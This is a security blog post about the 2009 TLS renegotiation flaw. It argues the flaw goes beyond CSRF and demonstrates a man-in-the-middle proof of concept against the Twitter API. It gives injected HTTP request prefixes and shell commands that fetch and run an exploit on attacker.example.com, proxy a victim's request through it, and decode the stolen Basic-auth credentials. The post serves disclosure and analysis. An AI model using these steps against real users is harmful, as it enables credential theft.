definitely not a full blown MITM, yet more than just a simple CSRF
UPDATE: This article was featured on The Register
Marsh Ray and Steve Dispensa have recently uncovered a vulnerability in the design of TLS. Many comments and explanations have been made, and the consensus is that for HTTPS, this attack is equivalent to a CSRF, which is usually well protected against.
From IBM ISS:
UPDATE: Tom J Cross from IBM ISS made a follow-up blog post referring to this attack.
Most, if not all, major web applications have implementation level protections against CSRF, such as random nonces in web forms that must be submitted along with any request. Those protection measures are effective against this new SSL man in the middle attack. Therefore, this vulnerability has minimal security impact for most websites and Internet users.
This is about right if one considers the way an attacker injects data in the TLS session (in red) according to Marsh Ray's "X-ignore" trick:
GET /transact.php?value=evil HTTP/1.0
X-Ignore: Get / HTTP/1.1
This is not the only possibility though. Here is another one:
POST /forum/send.php HTTP/1.0
message=GET / HTTP/1.1 [...]
message=GET / HTTP/1.1 [...]
Now the victim's packet is embedded in the POST data. The attacker can therefore have access to the actual packet sent by an auxiliary channel - e.g. here by reading the posted message on the forum that we assume operates on the same website.
One can see here that this is somewhat broader than a CSRF: an attacker can now have access to HTTP headers, such as the Authorization header.
A real world attack scenario: the twitter API
One can update its twitter status by using their RESTful API, e.g. with curl:
$ curl -u "user:pw" -d "status=New status" https://twitter.com/statuses/update.xml
Note that this is a POST request. Applying the previously stated idea, it is now possible to access the first 140 characters of an HTTP packet sent by a victim.
attacker.example.com$ wget http://perso.telecom-paristech.fr/~kurmus/ssl.c #based on the PoC published on full disclosure
attacker.example.com$ gcc -lssl ssl.c -o ssl
attacker.example.com$ ./ssl 8080 `echo -n "firstname.lastname@example.org:evilpw" |base64`
$ curl -u "email@example.com:securepw" -d "status=any" https://twitter.com/statuses/update.xml -p -x attacker.example.com:8080 \
# proxying the request through attacker.example.com, to simulate a MITM
Result on the attacker's twitter status:
$ echo -n dmljdGltQGV4YW1wbGUuY29tOnNlY3VyZXB3 | base64 -d
Although the attacker cannot modify the contents of the data sent back by the server after the malicious status update, he can take advantage of his relaying position and drop that packet. Considering twitter will also append an authentication cookie in the reply, this is a must for the attacker.
All in all, a man in the middle is able to steal the credentials of a user authenticating himself through HTTPS to a trusted website, and CSRF protections do not apply here. Luckily, a fix should be out soon.